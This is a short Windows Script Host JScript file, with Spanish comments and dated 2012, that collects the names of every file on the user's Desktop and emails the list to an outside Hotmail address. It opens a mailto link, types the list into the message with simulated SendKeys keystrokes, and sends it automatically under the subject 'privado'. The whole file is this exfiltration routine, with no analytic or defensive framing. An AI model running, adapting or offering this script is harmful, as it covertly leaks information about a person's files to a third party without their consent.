////// By Nolo2 Nov 2012 ////////////////////////////////
// buscar lo que hay en el escritorio
var WshShell = new ActiveXObject("WScript.Shell");
var escritorio = WshShell.SpecialFolders("Desktop");
var archivos = ShowFolderFileList(escritorio);
var listaDeArchivos = archivos.split("\n");

// llamar al correo
var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Run ("Mailto:desconocido@hotmail.com",1,false);
WScript.Sleep (3000);
WSHShell.SendKeys("privado~");
WScript.Sleep (200);
WSHShell.SendKeys("~");
WSHShell.SendKeys("Listado:~");
// poner en el mensaje lo que hay en el escritorio
for (i = 0; i < listaDeArchivos.length ; i++) {
WScript.Sleep (100);
WSHShell.SendKeys("~");
WSHShell.SendKeys(listaDeArchivos[i]);
}
// mandar el mensaje
WSHShell.SendKeys("+%E");
WScript.Echo ("     FINALIZADO");

function ShowFolderFileList(folderspec)
{
  var fso, f, f1, fc, s;
  fso = new ActiveXObject("Scripting.FileSystemObject");
  f = fso.GetFolder(folderspec);
  fc = new Enumerator(f.files);
  s = "";
  num_f = 0;
  for (; !fc.atEnd(); fc.moveNext()){;
    s += fc.item().Name;
   num_f =num_f + 1;
   s += "\n";
  }
  return(s);
}